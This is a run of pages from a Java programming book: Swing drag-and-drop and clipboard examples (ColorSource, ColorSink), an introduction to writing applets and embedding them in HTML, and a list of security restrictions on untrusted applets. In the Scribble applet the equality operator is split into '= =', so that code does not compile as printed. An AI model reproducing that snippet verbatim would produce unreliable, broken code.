Example 6-2 shows the ColorSource class. This is a simple JComponent subclass that displays a small block of a solid color and makes that color available for transfer via both cut-and-paste and drag-and-drop. The copy() method copies the color to the clipboard, making it available for pasting, while the dragGestureRecognized() method initiates a drag operation. This example relies upon the TransferableColor class of Example 6-1, of course. For simplicity, the copy() method is invoked when the user clicks on the component--there is no Ctrl-C keyboard binding or Edit menu command.

Example 6-2. ColorSource.java

import java.awt.*;
import java.awt.event.*;
import java.awt.datatransfer.*;
import java.awt.dnd.*;
import javax.swing.*;
import javax.swing.border.*;
import java.io.*;

/**
 * This simple component displays a solid color and allows that color
 * to be dragged. Also, it copies the color to the clipboard when the
 * user clicks on it.
 */
public class ColorSource extends JComponent
       implements ClipboardOwner, DragGestureListener, DragSourceListener
{
  Color color;                // The color to display
  TransferableColor tcolor;   // The color, encapsulated for data transfer
  DragSource dragSource;      // We need this object for drag-and-drop

  /** A ColorSource normally displays itself with this border */
  protected static Border defaultBorder = new BevelBorder(BevelBorder.LOWERED);
  /** When we are the clipboard owner, uses this border */
  protected static Border highlightBorder =
    new CompoundBorder(defaultBorder, new LineBorder(Color.black, 2));

  /** Create a new ColorSource object that displays the specified color */
  public ColorSource(Color color) {
    // Save the color.  Encapsulate it in a Transferable object so that
    // it can be used with cut-and-paste and drag-and-drop.
    this.color = color;
    this.tcolor = new TransferableColor(color);

    // Set our default border
    this.setBorder(defaultBorder);

    // Listen for mouse clicks, and copy the color to the clipboard
    this.addMouseListener(new MouseAdapter() {
      public void mouseClicked(MouseEvent e) { copy(); }
    });

    // Set up a DragGestureRecognizer that will detect when the user
    // begins a drag.  When it detects one, it will notify us by calling
    // the dragGestureRecognized() method of the DragGestureListener
    // interface we implement below
    this.dragSource = DragSource.getDefaultDragSource();
    dragSource.createDefaultDragGestureRecognizer(this, // Look for drags on us
                  DnDConstants.ACTION_COPY_OR_MOVE,  // Recognize these types
                  this);                             // Tell us when recognized
  }

  // These are component methods that make this class work as a component.
  // They specify how big the component is, and what it it looks like.
  protected static Dimension mysize = new Dimension(25, 25);
  public Dimension getMinimumSize() { return mysize; }
  public Dimension getPreferredSize() { return mysize; }
  public void paintComponent(Graphics g) {
    g.setColor(color);
    Dimension s = this.getSize();
    Insets i = this.getInsets();
    g.fillRect(i.left, i.top,
               s.width-i.left-i.right, s.height-i.top-i.bottom);
  }

  // The methods below support cut-and-paste

  /** This method copies the color to the clipboard */
  public void copy() {
    // Get system clipboard
    Clipboard c = this.getToolkit().getSystemClipboard();

    // Put our TransferableColor object on the clipboard.
    // Also, we'll get notification when we no longer own the clipboard.
    c.setContents(tcolor, this);

    // Set a special border on ourselves that indicates that we're the
    // current color available for pasting
    this.setBorder(highlightBorder);
  }

  // This ClipboardOwner method is called when something else is
  // placed on the clipboard.  It means that our color is no longer
  // available for pasting, and we should not display the highlight border.
  public void lostOwnership(Clipboard clipboard, Transferable contents) {
    this.setBorder(defaultBorder);
  }

  // The methods below support drag-and-drop

  // This DragGestureListener method is called when the DragGestureRecognizer
  // detects that the user has dragged the mouse.  It is responsible
  // for beginning the drag-and-drop process.
  public void dragGestureRecognized(DragGestureEvent e) {
    // Create an image we can drag along with us.
    // Not all systems support this, but it doesn't hurt to try.
    Image colorblock = this.createImage(25,25);
    Graphics g = colorblock.getGraphics();
    g.setColor(color);
    g.fillRect(0,0,25,25);

    // Start dragging our transferable color object
    e.startDrag(DragSource.DefaultMoveDrop,    // The initial drag cursor
                colorblock, new Point(0,0),    // The image to drag
                tcolor,                        // The data being dragged
                this);                         // Who to notify during drag
  }

  // These methods implement DragSourceListener.
  // Since we passed this object to startDrag, these methods will be
  // called at interesting points during the drag.  We could use them,
  // for example, to implement custom cursors or other "drag-over" effects.
  public void dragEnter(DragSourceDragEvent e) {}
  public void dragExit(DragSourceEvent e) {}
  public void dragDropEnd(DragSourceDropEvent e) {}
  public void dragOver(DragSourceDragEvent e) {}
  public void dropActionChanged(DragSourceDragEvent e) {}
}
Previous | Home | Next
6.3. Drag-and-Drop | Book Index | 6.5. A Data Sink
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Data Sink (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

6.5. A Data Sink

Example 6-3 shows the ColorSink class, which is a simple subclass of the Swing JTextArea class. ColorSink allows color objects to be pasted or dropped on it. When either event occurs, ColorSink sets its background color to the transferred color object. In addition, the class allows the pasting of textual data, which it inserts at the current cursor position. Finally, ColorSink accepts drops of the DataFlavor.javaFileListFlavor type. This data flavor is used when the user drags and drops a file icon. When a ColorSink receives a drop of this type, it opens the specified file (which it assumes to be a text file) and reads and displays its contents.

The pastecolor() method does the work of transferring a color through cut-and-paste. Again, for simplicity, the pastecolor() method is invoked when the user double-clicks on the ColorSink. The drag-and-drop transfer is implemented primarily in the drop() method. Note, however, that dragEnter() and dragExit() perform a simple drag-under effect by highlighting the ColorSink border.

The ColorSink class also includes a simple main() method that shows how it can be combined with the ColorSource class to create a simple demonstration of cut-and-paste and drag-and-drop.

Example 6-3. ColorSink.java

import java.awt.*;
import java.awt.event.*;
import java.awt.datatransfer.*;
import java.awt.dnd.*;
import javax.swing.*;
import javax.swing.border.*;
import java.io.*;
import java.util.List;

/**
 * This simple JTextArea subclass allows TransferableColor objects to
 * be pasted or dropped into it.  It also supports the pasting of
 * text and the dropping of File objects.
 */
public class ColorSink extends JTextArea implements DropTargetListener {
  /** Create a new ColorSink object */
  public ColorSink() {
    // Listen for double-clicks.  Use them to trigger a paste action.
    addMouseListener(new MouseAdapter() {
      public void mouseClicked(MouseEvent e) {
        if (e.getClickCount() == 2) { pastecolor(); e.consume(); }
      }
    });

    // We have to create a DropTarget object to support drag-and-drop.
    // It will listen for drops on top of us and notify our DropTargetListener
    // methods when drag-and-drop-related events occur.
    setDropTarget(new DropTarget(this, this));
  }

  // This method is invoked when the user double-clicks on us.  It attempts
  // to paste a color or text.  Note that the JTextArea we extend
  // already supports cut-and-paste of text through the Ctrl-V keystroke.
  // This adds a different kind of cut-and-paste for demonstration purposes.
  public void pastecolor() {
    // Get the clipboard, and read its contents
    Clipboard c = this.getToolkit().getSystemClipboard();
    Transferable t = c.getContents(this);
    if (t == null) {             // If nothing to paste
      this.getToolkit().beep();  // then beep and do nothing
      return;
    }
    try {
      // If the clipboard contained a color, use it as the background color
      if (t.isDataFlavorSupported(TransferableColor.colorFlavor)) {
        Color color = (Color) t.getTransferData(TransferableColor.colorFlavor);
        this.setBackground(color);
      }
      // If the clipboard contained text, insert it.
      else if (t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
        String s = (String) t.getTransferData(DataFlavor.stringFlavor);
        this.replaceSelection(s);
      }
      // Otherwise, we don't know how to paste the data, so just beep
      else this.getToolkit().beep();
    }
    catch (UnsupportedFlavorException ex) { this.getToolkit().beep(); }
    catch (IOException ex) { this.getToolkit().beep(); }
  }

  // The methods below are the methods of DropTargetListener.
  // They are invoked at various times when something is being
  // dragged over us, and allow us an opportunity to respond to the drag.

  // This is the border we display when the user is dragging over us.
  protected static Border dropBorder = new BevelBorder(BevelBorder.LOWERED);

  // Something is being dragged over us.  If we can support this data type.
  // tell the drag-and-drop system that we are interested, and display
  // a special border to tell the user that we're interested.
  public void dragEnter(DropTargetDragEvent e) {
    if (e.isDataFlavorSupported(TransferableColor.colorFlavor) ||
        e.isDataFlavorSupported(DataFlavor.javaFileListFlavor)) {
      e.acceptDrag(DnDConstants.ACTION_COPY_OR_MOVE);
      this.setBorder(dropBorder);
    }
  }

  /** The user is no longer dragging over us, so restore the default border */
  public void dragExit(DropTargetEvent e) { this.setBorder(null); }

  /** This method is invoked when the user drops something on us */
  public void drop(DropTargetDropEvent e){
    this.setBorder(null);                  // Restore the default border
    Transferable t = e.getTransferable();  // Get the data that was dropped

    // Check for types of data that we support
    if (t.isDataFlavorSupported(TransferableColor.colorFlavor)) {
      // If it was a color, accept it, and use it as the background color
      e.acceptDrop(DnDConstants.ACTION_COPY_OR_MOVE);
      try {
        Color c = (Color) t.getTransferData(TransferableColor.colorFlavor);
        this.setBackground(c);
        e.dropComplete(true);
      }
      catch (Exception ex) { e.dropComplete(false); }
    }
    else if (t.isDataFlavorSupported(DataFlavor.javaFileListFlavor)) {
      // If it was a file list, accept it, read the first file in the list
      // and display the file contents
      e.acceptDrop(DnDConstants.ACTION_COPY_OR_MOVE);
      try {
        List files = (List) t.getTransferData(DataFlavor.javaFileListFlavor);
        File f = (File) files.get(0);
        BufferedReader in = new BufferedReader(new FileReader(f));
        String s;
        this.setText("");
        while((s = in.readLine()) != null) this.append(s);
        e.dropComplete(true);
      }
      catch (Exception ex) { e.dropComplete(false); }
    }
    else {  // If it wasn't a color or a file list, reject it
      e.rejectDrop();
      return;
    }
  }

  // These are unused DropTargetListener methods
  public void dragOver(DropTargetDragEvent e) {}
  public void dropActionChanged(DropTargetDragEvent e) {}

  /** This is a simple test program for ColorSource and ColorSink */
  public static void main(String[] args) {
    // Create a window
    JFrame f = new JFrame("ColorSourceTest");
    f.getContentPane().setLayout(new BorderLayout());

    // Add some ColorSources
    JPanel panel = new JPanel();
    f.getContentPane().add(panel, BorderLayout.NORTH);
    panel.add(new ColorSource(Color.yellow));
    panel.add(new ColorSource(Color.pink));
    panel.add(new ColorSource(Color.white));
    panel.add(new ColorSource(Color.gray));

    // Add a ColorSink
    ColorSink sink = new ColorSink();
    f.getContentPane().add(sink, BorderLayout.CENTER);

    // Pop it all up
    f.setSize(400, 300);
    f.show();
  }
}
Previous | Home | Next
6.4. A Data Source | Book Index | 7. Applets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Applets (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 7. Applets

Contents:

Writing Applets
Including Applets in HTML Files
Applet Security

An applet, as the name implies, is a kind of mini-application, designed to be downloaded over a network from a possibly untrusted source and run in a web browser or in the context of some other applet viewer application. Because of the ubiquity of web browsers, applets are a useful and powerful way of delivering Java programs to end users. In fact, it was the power of applets that popularized Java in the first place. Applets differ from regular applications in several important ways:

  • An applet doesn't have a main() method like a standalone Java application does. Writing an applet is a lot more like subclassing an AWT or Swing component than writing a standalone application.

  • An applet is not invoked using the command line, as a Java application is. Instead, an applet is embedded within an HTML file with an <APPLET> tag. And, instead of reading command-line arguments as an application does, an applet gets its arguments from <PARAM> tags in the HTML file.

  • An applet is usually subject to a number of strict security restrictions that prevent untrusted, and possibly malicious, applet code from damaging the host system.

This chapter briefly explains how applets are written and how they are embedded in HTML pages. It also explains the security restrictions to which applets are subject.

7.1. Writing Applets

From a programmer's standpoint, one of the biggest differences between an applet and an application is that an applet does not have a main() method or any other single entry point from which the program starts running. Instead, to write an applet, you subclass the java.applet.Applet class (which is itself a subclass of java.awt.Panel and thus a descendant of java.awt.Component) and override a number of standard methods. At appropriate times, under well-defined circumstances, the web browser or applet viewer invokes the methods you have defined. The applet is not in control of the thread of execution; it simply responds when the browser or viewer tells it to. For this reason, the methods you write must take the necessary action and return promptly--they are not allowed to enter time-consuming (or infinite) loops. In order to perform a time-consuming or repetitive task, such as animation, an applet may create its own Thread, over which it does have complete control.

The task of writing an applet, then, comes down to defining the appropriate methods. A number of these methods are defined by the Applet class:

init()

Called when the applet is first loaded into the browser or viewer. It is typically used to perform applet initialization, in preference to a constructor method. (If you define a constructor for your Applet, it must be a no-argument constructor, as that is what the web browser expects.) If your applet displays GUI components, they are typically created here. (Remember that the applet itself is a java.awt.Panel, so you can create components and add() them directly to the applet.)

destroy()

Called when the applet is about to be unloaded from the browser or viewer. The method should free any resources, other than memory, that the applet has allocated. The destroy() method is much less commonly used than init().

start()

Called when the applet becomes visible and should start doing whatever it is that it does. An applet that performs animation or does some other action only when it is visible needs to implement this method.

stop()

Called when the applet becomes temporarily invisible (e.g., when the user has scrolled it off the screen). Tells the applet to stop performing an animation or other task.

getAppletInfo()

Called to get information about the applet (e.g., its name and author). This method should return a string suitable for display in a dialog box.

getParameterInfo()

Called to obtain information about the parameters to which the applet responds. Returns a String[ ][ ] that describes the parameters.

In addition to these Applet methods, there are a variety of Component methods that an applet may want to override. The most obvious of these methods is paint(), which the browser or viewer invokes to ask the applet to draw itself on the screen.

Applets handle events in the same way that AWT and Swing applications and components do. However, for maximum portability to old web browsers such as Netscape Navigator 3 and early versions of Navigator 4, many applets use the deprecated Java 1.0 event model and override methods such as mouseDown(), mouseDrag(), keyDown(), and action().

In addition to all these methods that you override when writing an applet, the Applet class also defines some methods that you may find useful to invoke from your applet:

getImage()

Loads an image file from the network and returns an Image object.

getAudioClip()

Loads a sound clip from the network and returns an AudioClip object.

getParameter()

Looks up and returns the value of a named parameter, specified with a <PARAM> tag in the HTML file that contains the applet.

getCodeBase()

Returns the base URL from which the applet class file was loaded.

getDocumentBase()

Returns the base URL of the HTML file that refers to the applet.

showStatus()

Displays a message in the status line of the browser or applet viewer.

getAppletContext()

Returns the AppletContext object for the applet. AppletContext defines the useful showDocument() method that asks the browser to load and display a new web page.

7.1.1. A Simple Applet

Example 7-1 is a simple applet. The applet has a simple init() method but consists primarily of the paint() method that produces the applet display shown in Figure 7-1. The example also demonstrates the use of the getParameter() method to obtain the string of text that it displays.

This applet can be placed within an HTML file using the following HTML tags:

<APPLET code="MessageApplet.class" width=350 height=125>
  <PARAM name="message" value="Hello World">
</APPLET>

To run and display the applet, simply load the HTML file into a Java-enabled web browser. Alternatively, you can use the appletviewer program included with Sun's Java implementation to view the applet:

% appletviewer MessageApplet.html

When invoking appletviewer, you must specify the name of the HTML file that includes the applet, not the Java class file that implements the applet. We'll discuss how applets are embedded in HTML files in full detail later in this chapter.

Figure 7-1. A simple applet

Example 7-1. MessageApplet.java

import java.applet.*;
import java.awt.*;

public class MessageApplet extends Applet {
  protected String message;   // The text to display
  protected Font font;        // The font to display it in

  // One-time initialization for the applet
  public void init() {
    message = this.getParameter("message");
    font = new Font("Helvetica", Font.BOLD, 48);
  }

  // Draw the applet whenever necessary
  public void paint(Graphics g) {
    // The pink oval
    g.setColor(Color.pink);
    g.fillOval(10, 10, 330, 100);

    // The red outline. The browser may not support Java 2D, so we
    // try to simulate a four-pixel-wide line by drawing four ovals.
    g.setColor(Color.red);
    g.drawOval(10,10, 330, 100);
    g.drawOval(9, 9, 332, 102);
    g.drawOval(8, 8, 334, 104);
    g.drawOval(7, 7, 336, 106);

    // The text
    g.setColor(Color.black);
    g.setFont(font);
    g.drawString(message, 40, 75);
  }
}

7.1.2. Applets and the Java 1.0 Event Model

The AWT event model changed dramatically between Java 1.0 and Java 1.1. Chapter 2, "Swing and AWTArchitecture", described the Java 1.1 event-handling model exclusively, since the Java 1.0 event model is now deprecated. However, because there is still a large installed base of web browsers that support only the Java 1.0 event model, applets are sometimes still written using this model.

In Java 1.0, all events are represented by the Event class. This class has a number of instance variables that describe the event. One of these variables, id, specifies the type of the event. Event defines a number of constants that are the possible values for the id field. The target field specifies the object (typically a Component) that generated the event or on which the event occurred (i.e., the source of the event). The other fields may or may not be used, depending on the type of the event. For example, the x and y fields are defined when id specifies a BUTTON_EVENT but not when it specifies an ACTION_EVENT. The arg field can provide additional type-dependent data.

A Java 1.0 event is dispatched first to the handleEvent() method of the Component on which it occurred. The default implementation of this method checks the id field of the Event object and dispatches the most commonly used types of events to various type-specific methods, listed in Table 7-1.

Table 7-1. Java 1.0 Event Processing Methods of Component

action() | keyUp() | mouseDrag() | mouseMove()
gotFocus() | lostFocus() | mouseEnter() | mouseUp()
keyDown() | mouseDown() | mouseExit() |

The methods listed in Table 7-1 are defined by the Component class. One of the primary characteristics of the Java 1.0 event model is that you must override these methods in order to process events. This means that you must create a subclass to define custom event-handling behavior, which is exactly what we do when we write an applet, for example. However, not all of the event types are dispatched by handleEvent() to more specific methods. If you are interested in LIST_SELECT or WINDOW_ICONIFY events, for example, you have to override handleEvent() itself, rather than one of the more specific methods. If you do this, you usually want to invoke super.handleEvent() to continue dispatching events of other types in the default way.

handleEvent() and all of the type-specific methods return boolean values. If an event-handling method returns false, as they all do by default, it means that the event was not handled, so it should be passed to the container of the current component to see if that container is interested in processing it. If a method returns true, on the other hand, it is a signal that the event has been handled and no further processing is needed.

The fact that unhandled events are passed up the containment hierarchy is important. It means that we can override the action() method in an applet in order to handle ACTION_EVENT events that are generated by the buttons within the applet. If they were not propagated up as they are, we would have to create a custom subclass of Button for every button we wanted to add to an interface!

In the Java 1.0 model, there is no de facto way to know what types of events are generated by what GUI components nor to know what fields of the Event object are filled in for what types of events. You simply have to look this information up in the documentation of individual AWT components.

Many event types use the modifiers field of the Event object to report which keyboard modifier keys were pressed when the event occurred. This field contains a bitmask of the SHIFT_MASK, CTRL_MASK, META_MASK, and ALT_MASK constants defined by the Event class. The shiftDown(), controlDown(), and metaDown() methods can be used to test for the various modifiers.

The Event class does not have a special field to indicate which mouse button was pressed when a mouse event occurs. Instead, Event uses the keyboard modifier constants for this purpose, which allows systems that use a one-button mouse to simulate other mouse buttons by using keyboard modifiers. If the left mouse button is in use, no keyboard modifiers are reported. If the right button is used, the META_MASK bit is set in the modifiers field. And if the middle button is down, the ALT_MASK bit is set.

When a keyboard event occurs, you should check the id field of the Event object to determine what kind of key was pressed. If the event type is KEY_PRESS or KEY_RELEASE, the keyboard key has an ASCII or Unicode representation, and the key fields of the event object contain the encoding of the key. On the other hand, if id is KEY_ACTION or KEY_ACTION_RELEASE, the key is a function key of some sort, and the key field contains one of the keyboard constants defined by the Event class, such as Event.F1 or Event.LEFT.

Example 7-2 shows a simple applet that allows the user to produce drawings by scribbling with the mouse. It also allows the user to erase those drawings by clicking on a button or pressing the E key. The applet overrides methods to handle mouse events, keyboard events, and action events generated by the Button component. Unlike the applet in Example 7-1, this applet does not define a paint() method. For simplicity, it does its drawing directly in response to the events it receives and does not store the coordinates. This means that it cannot regenerate the user's drawing if it is scrolled off the screen and then scrolled back on.

Example 7-2. An Applet That Uses the Java 1.0 Event Model

import java.applet.*;
import java.awt.*;

/** A simple applet using the Java 1.0 event-handling model */
public class Scribble extends Applet {
  private int lastx, lasty;    // Remember last mouse coordinates
  Button erase_button;         // The Erase button
  Graphics g;                  // A Graphics object for drawing

  /** Initialize the button and the Graphics object */
  public void init() {
    erase_button = new Button("Erase");
    this.add(erase_button);
    g = this.getGraphics();
    this.requestFocus();  // Ask for keyboard focus so we get key events
  }
  /** Respond to mouse clicks */
  public boolean mouseDown(Event e, int x, int y) {
    lastx = x; lasty = y;             // Remember where the click was
    return true;
  }
  /** Respond to mouse drags */
  public boolean mouseDrag(Event e, int x, int y) {
    g.setColor(Color.black);
    g.drawLine(lastx, lasty, x, y);   // Draw from last position to here
    lastx = x; lasty = y;             // And remember new last position
    return true;
  }
  /** Respond to key presses: erase drawing when user types 'e' */
  public boolean keyDown(Event e, int key) {
    if ((e.id = = Event.KEY_PRESS) && (key = = 'e')) {
      g.setColor(this.getBackground());
      g.fillRect(0, 0, bounds().width, bounds().height);
      return true;
    }
    else return false;
  }
  /** Respond to button clicks: erase drawing when user clicks button */
  public boolean action(Event e, Object arg) {
    if (e.target = = erase_button) {
      g.setColor(this.getBackground());
      g.fillRect(0, 0, bounds().width, bounds().height);
      return true;
    }
    else return false;
  }
}
Previous | Home | Next
6.5. A Data Sink | Book Index | 7.2. Including Applets in HTML Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Including Applets in HTML Files (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

7.2. Including Applets in HTML Files

Applets are typically embedded in HTML files using the <APPLET> tag. Another alternative relies on a Java Plug-in and uses the <EMBED> and <OBJECT> tags. Multiple applet files can be combined into a single JAR (Java Archive) file that a web browser can read as a single, compressed file, substantially reducing download time for some applets.

7.2.1. The <APPLET> Tag

A Java applet is included in a web page with the <APPLET> tag, which has the following syntax (items in brackets ([]) are optional):

<APPLET
    CODE = applet-filename
    WIDTH = pixel-width
    HEIGHT = pixel-height
    [OBJECT = serialized-applet-filename]
    [ARCHIVE = jar-file-list]
    [CODEBASE = applet-url]
    [ALT = alternate-text]
    [NAME = applet-name]
    [ALIGN = alignment]
    [VSPACE = vertical-pixel-space]
    [HSPACE = horizontal-pixel-space]
>
[<PARAM NAME = parameter VALUE = value>]
[<PARAM NAME = parameter VALUE = value>]
    ...
[alternate-text]
</APPLET>
<APPLET>

The <APPLET> tag specifies an applet to be run within a web document. A web browser that does not support Java and does not understand the <APPLET> tag ignores this tag and any related <PARAM> tags and simply displays any alternate-text that appears between <APPLET> and </APPLET>. A browser that does support Java runs the specified applet and does not display the alternate-text.

CODE

This required attribute specifies the file that contains the compiled Java code for the applet. It must be relative to the CODEBASE, if that attribute is specified or relative to the current document's URL, by default. It must not be an absolute URL. As of Java 1.1, this attribute can be replaced with an OBJECT attribute.

WIDTH

This attribute specifies the initial width, in pixels, that the applet needs in the browser's window. It is required.

HEIGHT

This attribute specifies the initial height, in pixels, that the applet needs in the browser's window. It is required.

OBJECT

As of Java 1.1, this attribute specifies the name of a file that contains a serialized applet that is to be created by deserialization. An applet specified in this way does not have its init() method invoked but does have its start() method invoked. Thus, before an applet is saved through serialization, it should be initialized but should not be started, or, if started, it should be stopped. An applet must have either the CODE or OBJECT attribute specified, but not both.

ARCHIVE

As of Java 1.1, this attribute specifies a comma-separated list of JAR files that are preloaded by the web browser or applet viewer. These archive files may contain Java class files, images, sounds, properties, or any other resources required by the applet. The web browser or applet viewer searches for required files in the archives before attempting to load them over the network.

CODEBASE

This optional attribute specifies the base URL (absolute or relative) of the applet to be displayed. This should be a directory, not the applet file itself. If this attribute is unspecified, the URL of the current document is used.

ALT

This optional attribute specifies text that should be displayed by browsers that understand the <APPLET> tag but do not support Java.

NAME

This optional attribute gives a name to the applet instance. Applets that are running at the same time can look one another up by name and communicate with one another.

ALIGN

This optional attribute specifies the applet's alignment on the page. It behaves just like the ALIGN attribute of the <IMG> tag. Its allowed values are: left, right, top, texttop, middle, absmiddle, baseline, bottom, and absbottom.

VSPACE

This optional attribute specifies the margin, in pixels, that the browser should put above and below the applet. It behaves just like the VSPACE attribute of the <IMG> tag.

HSPACE

This optional attribute specifies the margin, in pixels, that the browser should put on either side of the applet. It behaves just like the HSPACE attribute of the <IMG> tag.

<PARAM>

The <PARAM> tag, with its NAME and VALUE attributes, specifies a named parameter and its corresponding string value that are passed to the applet. These applet parameters function like system properties or command-line arguments do for a regular application. Any number of <PARAM> tags may appear between <APPLET> and </APPLET>. An applet can look up the value of a parameter specified in a <PARAM> tag with the getParameter() method of Applet.

7.2.2. Using Applet JAR Files

The <APPLET> tag supports an ARCHIVE attribute that identifies a JAR file containing the files required by an applet. The JAR, or Java Archive, format is simply a ZIP file with the addition of an optional manifest file. When an applet implementation involves more than one class file or when an applet relies on external image or sound files, it can be quite useful to combine all these files into a single, compressed JAR file and allow the web browser to download them all at once.

Starting with Java 1.1, Sun's Java SDK contains a jar command that allows you to create a JAR file. You might invoke it like this to create a JAR file named myapplet.jar that contains all class files, GIF images, and AU format sound files in the current directory:

% jar cf myapplet.jar *.class *.gif *.au

Having created a JAR file like this, you can tell a web browser about it with the following HTML tags:

<APPLET ARCHIVE="myapplet.jar" CODE="myapplet.class" WIDTH=400 HEIGHT=200>
</APPLET>

The ARCHIVE attribute does not replace the CODE attribute. ARCHIVE specifies where to look for files, but CODE is still required to tell the browser which of the files in the archive is the applet class file to be executed. The ARCHIVE attribute may actually specify a comma-separated list of JAR files. The web browser or applet viewer searches these archives for any files the applet requires. If a file is not found in an archive, however, the browser falls back upon its old behavior and attempts to load the file from the web server using a new HTTP request.

Web browsers introduced support for the ARCHIVE attribute at about the same time that Java 1.1 was introduced. Some Java 1.0 browsers do not recognize ARCHIVE and therefore ignore it. If you want to maintain compatibility with these browsers, be sure to make your applet files available in an unarchived form, in addition to the more efficient archived form.

7.2.3. Using Applets with the Java Plug-in

When a Java-enabled web browser encounters an <APPLET> tag, it starts up its embedded Java VM, downloads the class files that implement the applet, and starts running them. This approach has run into difficulties because web browser releases are not synchronized with releases of new versions of Java. It was quite a while after the release of Java 1.1 before commonly used browsers supported this version of the language, and there are still quite a few browsers in use that support only Java 1.0. It is not at all clear when, or even if, browsers will include support for the Java 2 platform. Furthermore, because of the lawsuit between Sun and Microsoft, the future of integrated Java support in the popular Internet Explorer web browser is questionable.

For these reasons, Sun has produced a product called the Java Plug-in. This product is a Java VM that acts as a Netscape Navigator plug-in and as an Internet Explorer ActiveX control. It adds Java 1.2 support to these browsers for the Windows and Solaris platforms. In many ways, Java support makes the most sense as a plug-in; using the Java Plug-in may be the preferred method for distributing Java applets in the future.

There is a catch, however. To run an applet under the Java Plug-in, you cannot use the <APPLET> tag. <APPLET> invokes the built-in Java VM, not the Java Plug-in. Instead, you must invoke the Java Plug-in just as you would invoke any other Navigator plug-in or Internet Explorer ActiveX control. Unfortunately, Netscape and Microsoft have defined different HTML tags for these purposes. Netscape uses the <EMBED> tag, and Microsoft uses the <OBJECT> tag. The details of using these tags and combining them in a portable way are messy and confusing. To help applet developers, Sun distributes a special HTML converter program that you can run over your HTML files. It scans for <APPLET> tags and converts them to equivalent <EMBED> and <OBJECT> tags.

Consider the simple HTML file we used for the first applet example in this chapter:

<APPLET code="MessageApplet.class" width=350 height=125>
  <PARAM name="message" value="Hello World">
</APPLET>

When run through the HTML converter, this tag becomes something like this:

<OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
codebase=
"http://java.sun.com/products/plugin/1.2/jinstall-12-win32.cab#Version=1,2,0,0"
        WIDTH=350 HEIGHT=125>
  <PARAM NAME=CODE VALUE="MessageApplet.class" >
  <PARAM NAME="type" VALUE="application/x-java-applet;version=1.2">
  <PARAM NAME="message" VALUE="Hello World">

  <COMMENT>
    <EMBED type="application/x-java-applet;version=1.2"
           pluginspage=
            "http://java.sun.com/products/plugin/1.2/plugin-install.html"
           java_CODE="MessageApplet.class"
           WIDTH=350 HEIGHT=125 message="Hello World">
    </EMBED>
  </COMMENT>
</OBJECT>

When Navigator reads this HTML file, it ignores the <OBJECT> and <COMMENT> tags that it does not support and reads only the <EMBED> tag. When Internet Explorer reads the file, however, it handles the <OBJECT> tag and ignores the <EMBED> tag that is hidden within the <COMMENT> tag. Note that both the <OBJECT> and <EMBED> tags specify all the attributes and parameters specified in the original file. In addition, however, they identify the plug-in or ActiveX control to be used and tell the browser from where it can download the Java Plug-in, if it has not already downloaded it.

You can learn more about the Java Plug-in and download the HTML converter utility from http://java.sun.com/products/plugin.

Previous | Home | Next
7.1. Writing Applets | Book Index | 7.3. Applet Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Applet Security (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

7.3. Applet Security

One of the most important features of Java is its security model. It allows untrusted code, such as applets downloaded from arbitrary web sites, to be run in a restricted environment that prevents that code from doing anything malicious, like deleting files or sending fake email. The Java security model has evolved considerably between Java 1.0 and Java 1.2 and is covered in detail in Java in a Nutshell.

To write applets, you don't need to understand the entire Java security model. What you do need to know is that when your applet is run as untrusted code, it is subject to quite a few security restrictions that limit the kinds of things it can do. This section describes those security restrictions and also describes how you can attach a digital signature to applets, so that users can treat them as trusted code and run them in a less restrictive environment.

The following list details the security restrictions that are typically imposed on untrusted applet code. Different web browsers and applet viewers may impose slightly different security restrictions and may allow the end user to customize or selectively relax the restrictions. In general, however, you should assume that your untrusted applet are restricted in the following ways:

  • Untrusted code cannot read from or write to the local filesystem. This means that untrusted code cannot:

    • Read files

    • List directories

    • Check for the existence of files

    • Obtain the size or modification date of files

    • Obtain the read and write permissions of a file

    • Test whether a filename is a file or directory

    • Write files

    • Delete files

    • Create directories

    • Rename files

    • Read or write from FileDescriptor objects

  • Untrusted code cannot perform networking operations, except in certain restricted ways. Untrusted code cannot:

    • Create a network connection to any computer other than the one from which the code was itself loaded

    • Listen for network connections on any of the privileged ports with numbers less than or equal to 1,024

    • Accept network connections on ports less than or equal to 1,024 or from any host other than the one from which the code itself was loaded

    • Use multicast sockets

    • Create or register a SocketImplFactory, URLStreamHandlerFactory, or ContentHandlerFactory

  • Untrusted code cannot make use of certain system facilities. It cannot:

    • Exit the Java interpreter by calling System.exit() or Runtime.exit()

    • Spawn new processes by calling any of the Runtime.exec() methods

    • Dynamically load native code libraries with the load() or loadLibrary() methods of Runtime or System

  • Untrusted code cannot make use of certain AWT facilities. One major restriction is that all windows created by untrusted code display a prominent visual indication that they have been created by untrusted code and are "insecure." This is to prevent untrusted code from spoofing the on-screen appearance of trusted code. Additionally, untrusted code cannot:

    • Initiate a print job

    • Access the system clipboard

    • Access the system event queue

  • Untrusted code has restricted access to system properties. It cannot call System.getProperties(), so it cannot modify or insert properties into the system properties list. It can call System.getProperty() to read individual properties but can read only system properties to which it has been explicitly granted access. By default, appletviewer grants access to only the following 10 properties. Note that user.home and user.dir are excluded:

    • java.version

    • java.class.version

    • java.vendor

    • java.vendor.url

    • os.name

    • os.version

    • os.arch

    • file.separator

    • path.separator

    • line.separator

  • Untrusted code cannot create or access threads or thread groups outside of the thread group in which the untrusted code is running.

  • Untrusted code has restrictions on the classes it can load and define. It cannot:

    • Explicitly load classes from the sun.* packages

    • Define classes in any of the java.* or sun.* packages

    • Create a ClassLoader object or call any ClassLoader methods

  • Untrusted code cannot use the java.lang.Class reflection methods to obtain information about nonpublic members of a class, unless the class was loaded from the same host as the untrusted code.

  • Untrusted code has restrictions on its use of the java.security package. It cannot:

    • Manipulate security identities in any way

    • Set or read security properties

    • List, look up, insert, or remove security providers

    • Finally, to prevent untrusted code from circumventing all of these restrictions, it is not allowed to create or register a SecurityManager object.

7.3.1. Local Applets

